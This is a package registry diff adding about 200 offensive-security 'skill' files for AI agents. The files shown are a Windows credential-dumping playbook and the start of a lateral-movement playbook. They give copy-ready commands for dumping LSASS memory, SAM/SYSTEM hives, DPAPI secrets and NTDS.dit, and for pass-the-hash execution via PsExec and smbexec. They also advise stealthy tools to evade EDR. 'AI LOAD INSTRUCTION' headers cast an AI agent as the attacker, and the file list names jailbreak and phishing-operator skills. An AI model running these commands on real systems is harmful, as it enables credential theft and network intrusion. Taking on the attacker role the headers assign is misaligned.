ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,308 @@
1
+ # Credential Dumping Techniques
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this for LSASS dump methods, SAM/SYSTEM extraction, DPAPI secrets, cached domain credentials, and NTDS.dit extraction. Assumes the main [SKILL.md](./SKILL.md) is already loaded for lateral movement techniques.
4
+
5
+ ---
6
+
7
+ ## 1. LSASS MEMORY DUMP TECHNIQUES
8
+
9
+ ### Method Comparison
10
+
11
+ | Method | Tool | AV Detection Risk | Requires | Notes |
12
+ |---|---|---|---|---|
13
+ | MiniDump (comsvcs.dll) | Built-in Windows DLL | Medium | Admin + SeDebugPrivilege | Commonly monitored |
14
+ | ProcDump | Sysinternals (signed) | Medium-High | Admin | Microsoft-signed, but well-known |
15
+ | Mimikatz | Custom | High | Admin + SeDebugPrivilege | Most capable, most detected |
16
+ | nanodump | Custom | Low | Admin + SeDebugPrivilege | Uses MiniDumpWriteDump variants |
17
+ | handlekatz | Custom | Low | Admin | Clone LSASS handle, then dump |
18
+ | PPLdump | Custom | Low | Admin | Bypass PPL (Protected Process Light) |
19
+ | lsassy | Remote (Impacket) | Medium | Admin SMB access | Remote dump + parse, no disk touch |
20
+
21
+ ### comsvcs.dll MiniDump
22
+
23
+ ```cmd
24
+ # Find LSASS PID
25
+ tasklist /fi "imagename eq lsass.exe"
26
+
27
+ # Dump using comsvcs.dll (built-in Windows DLL)
28
+ rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID C:\temp\lsass.dmp full
29
+ ```
30
+
31
+ ```powershell
32
+ # PowerShell variant
33
+ $lsass = Get-Process lsass
34
+ rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\temp\lsass.dmp full
35
+ ```
36
+
37
+ ### ProcDump (Sysinternals)
38
+
39
+ ```cmd
40
+ procdump -ma lsass.exe lsass.dmp -accepteula
41
+ ```
42
+
43
+ ### Mimikatz (Direct Memory Read)
44
+
45
+ ```cmd
46
+ mimikatz # privilege::debug
47
+ mimikatz # sekurlsa::logonpasswords
48
+ mimikatz # sekurlsa::wdigest & REM WDigest plaintext (if enabled)
49
+ mimikatz # sekurlsa::kerberos & REM Kerberos tickets
50
+ mimikatz # sekurlsa::msv & REM NTLM hashes
51
+ ```
52
+
53
+ ### nanodump (EDR Evasion)
54
+
55
+ ```cmd
56
+ # Direct syscalls, unhooks NTDLL, avoids API hooks
57
+ nanodump.exe --write C:\temp\lsass.dmp
58
+ nanodump.exe --fork --write C:\temp\lsass.dmp & REM Fork process first (stealthier)
59
+ ```
60
+
61
+ ### handlekatz
62
+
63
+ ```cmd
64
+ # Clone LSASS handle from another process (avoids direct LSASS open)
65
+ handlekatz.exe --pid LSASS_PID --outfile C:\temp\lsass.dmp
66
+ ```
67
+
68
+ ### Remote Dump with lsassy
69
+
70
+ ```bash
71
+ # From Linux — dump and parse remotely
72
+ lsassy -u administrator -p password TARGET_IP
73
+ lsassy -u administrator -H NTLM_HASH TARGET_IP
74
+
75
+ # Specific dump method
76
+ lsassy -u administrator -p password TARGET_IP -m comsvcs
77
+ lsassy -u administrator -p password TARGET_IP -m nanodump
78
+ ```
79
+
80
+ ### Parse Dump Offline
81
+
82
+ ```bash
83
+ # Mimikatz offline parsing
84
+ mimikatz # sekurlsa::minidump lsass.dmp
85
+ mimikatz # sekurlsa::logonpasswords
86
+
87
+ # pypykatz (Python, cross-platform)
88
+ pypykatz lsa minidump lsass.dmp
89
+ ```
90
+
91
+ ---
92
+
93
+ ## 2. SAM / SYSTEM / SECURITY HIVE EXTRACTION
94
+
95
+ ### Local Extraction
96
+
97
+ ```cmd
98
+ # reg save (requires admin)
99
+ reg save HKLM\SAM C:\temp\SAM
100
+ reg save HKLM\SYSTEM C:\temp\SYSTEM
101
+ reg save HKLM\SECURITY C:\temp\SECURITY
102
+
103
+ # Volume Shadow Copy
104
+ vssadmin create shadow /for=C:
105
+ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
106
+ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
107
+ ```
108
+
109
+ ### Remote Extraction
110
+
111
+ ```bash
112
+ # Impacket secretsdump (remote, in-memory)
113
+ secretsdump.py DOMAIN/administrator:password@TARGET_IP
114
+
115
+ # With hash
116
+ secretsdump.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
117
+
118
+ # CrackMapExec
119
+ crackmapexec smb TARGET_IP -u administrator -p password --sam
120
+ crackmapexec smb TARGET_IP -u administrator -p password --lsa
121
+ ```
122
+
123
+ ### Offline Parsing
124
+
125
+ ```bash
126
+ # Impacket secretsdump offline
127
+ secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
128
+
129
+ # Extract local account hashes + cached domain creds + LSA secrets
130
+ ```
131
+
132
+ ---
133
+
134
+ ## 3. DPAPI SECRETS
135
+
136
+ DPAPI protects browser passwords, Wi-Fi keys, credential manager entries, and more.
137
+
138
+ ### Credential Manager
139
+
140
+ ```cmd
141
+ # List stored credentials
142
+ cmdkey /list
143
+
144
+ # Mimikatz — dump DPAPI credentials
145
+ mimikatz # vault::cred
146
+ mimikatz # vault::list
147
+
148
+ # Decrypt DPAPI blobs
149
+ mimikatz # dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\{GUID}
150
+ ```
151
+
152
+ ### Master Key Extraction
153
+
154
+ ```cmd
155
+ # Get user's DPAPI master keys
156
+ mimikatz # sekurlsa::dpapi
157
+
158
+ # Decrypt master key with domain backup key (requires DA)
159
+ mimikatz # lsadump::backupkeys /system:DC01.domain.com /export
160
+ mimikatz # dpapi::masterkey /in:masterkey_file /pvk:backup_key.pvk
161
+ ```
162
+
163
+ ### Browser Credentials
164
+
165
+ ```bash
166
+ # SharpChromium (Chrome/Edge passwords)
167
+ SharpChromium.exe logins
168
+
169
+ # SharpDPAPI (comprehensive DPAPI extraction)
170
+ SharpDPAPI.exe triage
171
+ SharpDPAPI.exe credentials /server:DC01.domain.com & REM Using domain backup key
172
+
173
+ # From Linux with Impacket
174
+ dpapi.py backupkeys -t DOMAIN/administrator:password@DC01
175
+ ```
176
+
177
+ ---
178
+
179
+ ## 4. CACHED DOMAIN CREDENTIALS
180
+
181
+ Windows caches the last N domain logon credentials (default: 10).
182
+
183
+ ```bash
184
+ # Impacket secretsdump extracts these automatically
185
+ secretsdump.py DOMAIN/admin:pass@TARGET -just-dc-user cachedcreds
186
+
187
+ # Format: $DCC2$10240#username#hash
188
+ # Crack with hashcat mode 2100
189
+ hashcat -m 2100 cached.txt wordlist.txt
190
+ ```
191
+
192
+ ```cmd
193
+ # Mimikatz
194
+ mimikatz # lsadump::cache
195
+
196
+ # Registry location
197
+ # HKLM\SECURITY\Cache
198
+ ```
199
+
200
+ **Note**: DCC2 hashes are slow to crack (~50k/s on GPU vs millions for NTLM).
201
+
202
+ ---
203
+
204
+ ## 5. NTDS.DIT EXTRACTION (DOMAIN CONTROLLER)
205
+
206
+ ### Method 1: ntdsutil (Built-in)
207
+
208
+ ```cmd
209
+ # Create IFM (Install From Media) — includes NTDS.dit + SYSTEM
210
+ ntdsutil "ac i ntds" "ifm" "create full C:\temp\ifm" quit quit
211
+
212
+ # Extract from IFM
213
+ secretsdump.py -ntds C:\temp\ifm\Active\ Directory\ntds.dit \
214
+ -system C:\temp\ifm\registry\SYSTEM LOCAL
215
+ ```
216
+
217
+ ### Method 2: Volume Shadow Copy
218
+
219
+ ```cmd
220
+ vssadmin create shadow /for=C:
221
+ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
222
+ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
223
+ ```
224
+
225
+ ### Method 3: DCSync (No File Access Needed)
226
+
227
+ ```bash
228
+ # Full dump
229
+ secretsdump.py DOMAIN/admin:pass@DC01 -just-dc
230
+
231
+ # Specific user
232
+ secretsdump.py DOMAIN/admin:pass@DC01 -just-dc-user krbtgt
233
+
234
+ # With Kerberos auth
235
+ export KRB5CCNAME=admin.ccache
236
+ secretsdump.py -k -no-pass DC01.domain.com -just-dc
237
+ ```
238
+
239
+ ### Method 4: esentutl (Copy While in Use)
240
+
241
+ ```cmd
242
+ esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\temp\ntds.dit
243
+ ```
244
+
245
+ ### Offline Parsing
246
+
247
+ ```bash
248
+ # Full extraction
249
+ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
250
+
251
+ # With history (previous passwords)
252
+ secretsdump.py -ntds ntds.dit -system SYSTEM -history LOCAL
253
+
254
+ # Just NTLM hashes (for cracking)
255
+ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile domain_hashes
256
+ ```
257
+
258
+ ---
259
+
260
+ ## 6. WINDOWS CREDENTIAL LOCATIONS SUMMARY
261
+
262
+ | Location | Contents | Extraction Tool |
263
+ |---|---|---|
264
+ | LSASS memory | NTLM hashes, Kerberos tickets, plaintext (WDigest) | Mimikatz, nanodump, lsassy |
265
+ | SAM hive | Local account NTLM hashes | reg save + secretsdump |
266
+ | SECURITY hive | LSA secrets, cached domain creds | reg save + secretsdump |
267
+ | SYSTEM hive | Boot key (needed to decrypt SAM) | reg save |
268
+ | NTDS.dit | All domain account hashes | ntdsutil, VSS, DCSync |
269
+ | DPAPI blobs | Browser passwords, Wi-Fi keys, cred manager | SharpDPAPI, Mimikatz |
270
+ | Credential Manager | Saved Windows credentials | cmdkey, Mimikatz |
271
+ | Group Policy Preferences | Legacy encrypted passwords (cpassword) | gpp-decrypt |
272
+ | Unattend.xml / sysprep | Setup passwords (base64) | Manual extraction |
273
+ | web.config / .config | Connection strings, API keys | Manual search |
274
+ | Registry autoruns | Service account passwords | reg query |
275
+
276
+ ---
277
+
278
+ ## 7. CREDENTIAL DUMP DECISION TREE
279
+
280
+ ```
281
+ Need to extract credentials
282
+
283
+ ├── Have local admin on target?
284
+ │ ├── LSASS dump (§1)
285
+ │ │ ├── EDR present? → nanodump or handlekatz (stealthy)
286
+ │ │ ├── No EDR → Mimikatz or comsvcs.dll (fastest)
287
+ │ │ └── Remote only → lsassy from Linux
288
+ │ │
289
+ │ ├── Local hashes → SAM/SYSTEM extraction (§2)
290
+ │ │ ├── Local → reg save
291
+ │ │ └── Remote → secretsdump.py or CrackMapExec --sam
292
+ │ │
293
+ │ └── DPAPI secrets → SharpDPAPI or Mimikatz (§3)
294
+
295
+ ├── Have domain admin?
296
+ │ ├── DCSync → secretsdump.py (§5, easiest, no file access needed)
297
+ │ ├── NTDS.dit extraction → ntdsutil / VSS (§5)
298
+ │ └── Domain DPAPI backup key → decrypt all user DPAPI (§3)
299
+
300
+ ├── Only have SMB file access (no admin)?
301
+ │ ├── Check for GPP passwords (cpassword in SYSVOL)
302
+ │ ├── Check for scripts with hardcoded creds
303
+ │ └── Check for unattend.xml / web.config files
304
+
305
+ └── Offline dump file (.dmp)?
306
+ ├── LSASS dump → pypykatz / Mimikatz offline (§1)
307
+ └── SAM+SYSTEM → secretsdump.py LOCAL (§2)
308
+ ```
@@ -0,0 +1,335 @@
1
+ ---
2
+ name: windows-lateral-movement
3
+ description: >-
4
+ Windows lateral movement playbook. Use when pivoting between Windows hosts via PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, or pass-the-ticket techniques.gated: true
5
+ ---
6
+
7
+ # SKILL: Windows Lateral Movement — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert Windows lateral movement techniques. Covers PsExec, WMI, WinRM, DCOM, SMB, RDP, SSH, pass-the-hash, overpass-the-hash, pass-the-ticket, and pivoting. Base models miss execution method fingerprints, OPSEC trade-offs, and credential type requirements per method.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) after landing on a new host for local escalation
16
+ - [windows-av-evasion](../windows-av-evasion/SKILL.md) when EDR blocks lateral movement tools
17
+ - [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos-based lateral (pass-the-ticket, delegation)
18
+ - [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based paths to new hosts
19
+
20
+ ### Advanced Reference
21
+
22
+ Also load [CREDENTIAL_DUMPING.md](./CREDENTIAL_DUMPING.md) when you need:
23
+ - LSASS dump techniques (MiniDump, comsvcs.dll, nanodump)
24
+ - SAM/SYSTEM/SECURITY extraction
25
+ - DPAPI, credential manager, cached domain credentials
26
+ - NTDS.dit extraction methods
27
+
28
+ ---
29
+
30
+ ## 1. REMOTE EXECUTION METHODS COMPARISON
31
+
32
+ | Method | Port | Cred Type | Creates Service? | File on Disk? | OPSEC | Admin Required? |
33
+ |---|---|---|---|---|---|---|
34
+ | **PsExec** | 445 (SMB) | Password/Hash | Yes (PSEXESVC) | Yes (.exe) | Low | Yes |
35
+ | **Impacket smbexec** | 445 | Password/Hash | Yes (temp service) | No | Medium | Yes |
36
+ | **Impacket atexec** | 445 | Password/Hash | No (scheduled task) | No | Medium | Yes |
37
+ | **WMI** | 135+dynamic | Password/Hash | No | No | High | Yes |
38
+ | **WinRM** | 5985/5986 | Password/Hash/Ticket | No | No | High | Yes (Remote Mgmt) |
39
+ | **DCOM** | 135+dynamic | Password/Hash | No | No | High | Yes |
40
+ | **RDP** | 3389 | Password/Hash (RestrictedAdmin) | No | No | Low (GUI session) | RDP access |
41
+ | **SSH** | 22 | Password/Key | No | No | High | SSH enabled |
42
+ | **SC** | 445 | Password/Hash | Yes (custom service) | Yes | Low | Yes |
43
+
44
+ ---
45
+
46
+ ## 2. PSEXEC VARIANTS
47
+
48
+ ### Impacket PsExec
49
+
50
+ ```bash
51
+ # With password
52
+ psexec.py DOMAIN/administrator:password@TARGET_IP
53
+
54
+ # With NTLM hash (pass-the-hash)
55
+ psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
56
+
57
+ # With Kerberos ticket
58
+ export KRB5CCNAME=admin.ccache
59
+ psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
60
+ ```
61
+
62
+ ### Impacket smbexec (Stealthier — No Binary Upload)
63
+
64
+ ```bash
65
+ smbexec.py DOMAIN/administrator:password@TARGET_IP
66
+ smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
67
+ ```
68
+
69
+ ### Impacket atexec (Scheduled Task)
70
+
71
+ ```bash
72
+ atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
73
+ atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"
74
+ ```
75
+
76
+ ### Sysinternals PsExec
77
+
78
+ ```cmd
79
+ PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
80
+ PsExec64.exe \\TARGET -s cmd.exe & REM Run as SYSTEM (-s)
81
+ PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"
82
+ ```
83
+
84
+ ---
85
+
86
+ ## 3. WMI LATERAL MOVEMENT
87
+
